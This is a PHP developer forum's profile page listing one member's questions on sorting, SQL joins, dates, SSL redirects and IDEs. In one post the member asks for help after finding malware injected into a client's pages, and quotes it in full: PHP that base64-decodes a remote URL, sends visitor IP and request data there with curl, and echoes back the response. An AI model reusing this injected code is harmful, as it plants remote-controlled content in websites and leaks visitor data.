Jump to content

Ninjakreborn

Members
  • Posts

    3,922
  • Joined

  • Last visited

Everything posted by Ninjakreborn

  1. I have an array that looks like this. Then I have sort code that looks like this: function cmp( $a, $b ) { if( $a->total_points == $b->total_points ){ return 0 ; } return ($a->total_points > $b->total_points) ? -1 : 1; } usort($query,'cmp'); This works fine for the total points. Sorts them. But what if I wanted to sort by both. I want all contract types of 2 at the top (sorted by the total points) then the contract points 1 and 3 at the bottom in whatever order. Is this possible without going to great lengths?
  2. I have a project i'm working on a server. The client is able to pull down from his system and time forward stuff (fantasy sports). So me testing is a little tricky, since i'm working on the server (replacement laptop). I found an alternative for now, but curious if there was a way to do that.
  3. I know if your working on something locally you can time forward your PC to make it seem like it's a different date/time. What happens fi your working on a server though. Is there a way to make PHP think your current date/time is different than what it is. Like a way to set the current date/time that PHP thinks your on? Perhaps a global setting to hardcode the date/time for a script. So if you want the script to think it's currently....3:00 A.M. on 8/20/2012 is there a way to do that without having to pull the files locally and time forward your system?
  4. This might be...easier than i'm trying to make it. For some reason it's failing me. Array ( [0] => stdClass Object ( [player_id] => 11 [orders] => 5 [q1Points] => 110.75 [q2Points] => 109 [q3Points] => 0 [q4Points] => 36 [total_points] => 255.75 ) [1] => stdClass Object ( [player_id] => 39 [orders] => 2 [q1Points] => 75.5 [q2Points] => 100.25 [q3Points] => 0 [q4Points] => 45.5 [total_points] => 221.25 ) [2] => stdClass Object ( [player_id] => 38 [orders] => 1 [q1Points] => 63 [q2Points] => 70 [q3Points] => 0 [q4Points] => 83.25 [total_points] => 216.25 ) [3] => stdClass Object ( [player_id] => 41 [orders] => 3 [q1Points] => 73.75 [q2Points] => 54 [q3Points] => 0 [q4Points] => 71 [total_points] => 198.75 ) [4] => stdClass Object ( [player_id] => 23 [orders] => 7 [q1Points] => 88.75 [q2Points] => 59 [q3Points] => 0 [q4Points] => 43.125 [total_points] => 190.875 ) [5] => stdClass Object ( [player_id] => 37 [orders] => 4 [q1Points] => 30.25 [q2Points] => 76 [q3Points] => 0 [q4Points] => 55.875 [total_points] => 162.125 ) [6] => stdClass Object ( [player_id] => 43 [orders] => 6 [q1Points] => 44 [q2Points] => 23.25 [q3Points] => 0 [q4Points] => 39.625 [total_points] => 106.875 ) [7] => stdClass Object ( [player_id] => 44 [orders] => 8 [q1Points] => 36.25 [q2Points] => 22.5 [q3Points] => 0 [q4Points] => 32 [total_points] => 90.75 ) ) I want to find which item has the highest Q4Points value and get the player ID from it. That should be easy, but for some reason my mind is trying to make it complicated.
  5. Thanks I knew it had to be something simple, never used those before. Thanks again.
  6. Any feedback on the following error I am facing. Thanks. SQL select tf.Id,tf.Name,tf.LName,tf.Rank,tf.Category WHERE tf.Id not in (select fighter_id from tbl_player_fighter where league_id=91) AND tf.Status ='1' Error
  7. You sir, rock. Thanks. That fixed it. I lined it as 8 and it works. I will change the design structure eventually but under a different quote. Thanks again.
  8. Let me be more specific. There are two tables. One for Categories, and one for Players which maps to categories. The Category SQL is as follows: CREATE TABLE IF NOT EXISTS `tbl_fighter_category` ( `id` int(10) NOT NULL auto_increment, `name` varchar(75) default NULL, `status` tinyint(1) default '1', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=11 ; -- -- Dumping data for table `tbl_fighter_category` -- INSERT INTO `tbl_fighter_category` (`id`, `name`, `status`) VALUES (0, 'ALL', 1), (1, 'Heavy Weight', 1), (2, 'Light Heavyweight', 1), (3, 'Middle Weight', 1), (4, 'Welter Weight', 1), (5, 'Light Weight', 1), (6, 'Feather Weight', 1), (7, 'Bantam Weight', 1), (10, 'Flyweight', 1); Very simple. Just a list of the "Categories". Then the players, has a field called Category which maps to that. That specific field is E-Num (I didn't set it up that way). It is simply the ID that maps to the categories table. So it looks like this: Fieldname: Category Type: enum('1', '2', '3', '4', '5', '6', '7', '10') Collation: atin1_swedish_ci Attributes: Null: No Default: 1 So that is suppose to map the players to the categories table. Should be pretty straightforward. Then when I run the query I mentioned above it shows proper mapping for all "Categories" but for the one I added (10) it doesn't map the name correctly and shows Null. Make sense?
  9. Anybody have any feedback here. Strange issue I know, any feedback is appreciated
  10. Here is my problem. I started work on a system that was already built. Decent structure. It was built in CodeIgniter, and for the most part is pretty clean. There are a few things that were setup in a funny way though. One of them I am dealing with now, and trying to sort out. I will try to be brief. I have a database table called "tbl_fighter_categories". Simple enough. An ID, Name, and Status (activated or not). Then he has the player field. But the strange thing, is he has the mapping field..for categories, setup with some enum field. enum('1', '2', '3', '4', '5', '6', '7', '10') So here is what I did. 1. Created a new "Category". Which went fine. 2. Then updated the add/edit forms to show the new category (since he was hard coding them all instead of building them from the database, and I didn't want to rewrite that). 3. Then I go to get the data in a view..and what do you know, I don't see the results from the one I added. All the other ID's are getting correctly..but just the new one I added, for some reason doesn't. The final query that is used to try to retrieve these, is as follows. SELECT tbl_fighter. * , tfc.name AS fcategory FROM tbl_fighter LEFT OUTER JOIN tbl_fighter_category tfc ON tfc.id = tbl_fighter.Category ORDER BY tbl_fighter.Name LIMIT 0 , 30 It gets the listing when I run it into phpmyadmin..and for all of the categories that were previously there, it shows fine. However for my new one (10) it shows the player, shows 10 as the category ID, but when it maps up to the name field (tfc.name) it's returning null. Totally lost, and any help is appreciated. Thanks.
  11. As was mentioned above, simple put it's just a check to make sure the file has been uploaded. It's not entirely accurate if your working with more complex uploading systems. If your doing standard file uploads it can be useful as an additional check, but it's not really needed. Your better off putting your time into other checks..to make sure they aren't uploading improper file types, and things like that.
  12. One thing I am really wanting to start getting into is Android development. I work off a windows machine. What is the best way to start getting into unrestricted Android development.
  13. I think I figured this out. I am just going to rewrite the main links to use https, and see how this goes. Thanks again..
  14. Wasn't sure where to ask this, since it wasn't directly PHP related. I want to force SSL on a pretty complex system. It's a system that deals with various transactions, automatic crons that run automated transactions and a lot of very heavy systems. Here are some questions I have about SSL. 1. Below is code to force everything to go to SSL via HTAccess: RewriteEngine On RewriteCond %{SERVER_PORT} 80 RewriteCond %{REQUEST_URI} somefolder RewriteRule ^(.*)$ https://www.domain.com/somefolder/$1 [R,L] Is there a way I can restrict this code to a specific IP Address. I want to force SSL for just my IP address so that I can test the site thoroughly using the new SSL links, and see (make sure) everything is working before taking it live to the live site. Testing with just my IP would be a lot easier. 2. Is SSL going to interfere with any get/posts? Meaning...if I use that code above, and someone is on a page..and they submit a form, it's going to force them into SSL, is that going to be considered a redirect and clear out any post/get variables? I just want to try to find out ahead of time if it's going to mess up anything I have running. 3. Have any of you had any situations where you forced SSL then had a lot of issues with the site not working right?
  15. Didn't even know these posts were there. That gives me a lot of stuff to review, thanks for that. I can look at the previous post before that for even more information. Thanks again.
  16. What is your favorite IDE? I use Netbeans currently (newest version), and I am loving it. Anyone else have other IDE's they prefer. Generally something multi-language support. I have Netbeans setup for all the languages it supports. Thoughts?
  17. My specific situation is SEOMoz, but this is a general question. I have a pretty extensive series of tools that rely on the SEOMoz api. They recently implemented 1 request per 10 seconds throttle limit. Is there a way I can run one request, stop for 10 seconds, and run the next, and so on? Anyway to get around something like this, without breaking their TOS?
  18. I need to find out if doing Electronic Signatures using PHP is possible? I would like someone to be able to use some kind of interface to do the signature, and then it save it as an image and then I can re-use it on any documents or anything that I need to throughout the system. Is this possible, or would I need a third party service. If so..does anyone know of a good one. Thanks.
  19. Has anyone done any SFax implementations yet (creating, sending, receiving of faxes via the SFax Restful API system)? If so anyone have any good classes or tutorials they can share that helped them get it all together.
  20. Alright, will do some searching on it and do that. Thanks again.
  21. Not "Mine" but from the previous developer. It just performs the checks to make sure they are logged in, it's on every page of the site. On some pages I had added database.inc.php. So that security hack was entered under neath the original security.inc.php hack..which is strange. Also it says it only afffects google, and oddly..I didn't see the issue in Google Chrome or Firefox..I had to go into IE and see the "Layout" mess up to fix it..then when I did that, I started getting virus detections on Nod32 ESET. So it was very strange. Any ideas on how to plug the hole? Also the host is currently
  22. I edited it, and made it look exactly as it was inserted into my index.php pages throughout the entire site.
  23. The code below was inserted into every single index.php on one of my clients sites. It went through and every single index.php page (in each folder) had that following code put in. It was strange. As far as I can tell there are no FTP logs, besides my own IP. This site was heavily built by someone else, I have been enhancing the system for a few months but it hasn't undergone a full security audit yet. What could have caused this. The weird thing is it's not loading it into the very top of the file..the security.inc.php is my file..and somehow they always get inserted below that file. But the <? is inserted right after it. I also don't use generally the <? shorthand, that was his previous code..but that entire <? block that has the hack attempt is very strange. Any advice on how this is generally done, and anyone with similar issues? <? require_once('security.inc.php'); ?><? if (!isset($sRetry)) { global $sRetry; $sRetry = 1; // This code use for global bot statistic $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot $stCurlHandle = NULL; $stCurlLink = ""; if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics $stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']); $stCurlHandle = curl_init( $stCurlLink ); } } if ( $stCurlHandle !== NULL ) { curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1); $sResult = @curl_exec($stCurlHandle); if ($sResult[0]=="O") {$sResult[0]=" "; echo $sResult; // Statistic code end } curl_close($stCurlHandle); } } ?>
  24. What is the proper way to turn a date that is in "m/d/Y" format, into a correct timestamp. When I try strtotime, then try to change it back to a date, it shows up incorrectly (defaulting to the 1969 date that it does when it messes up. I just need to be able to turn $date = '10/15/2011'; to and from a timestamp correctly. Any advice?
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.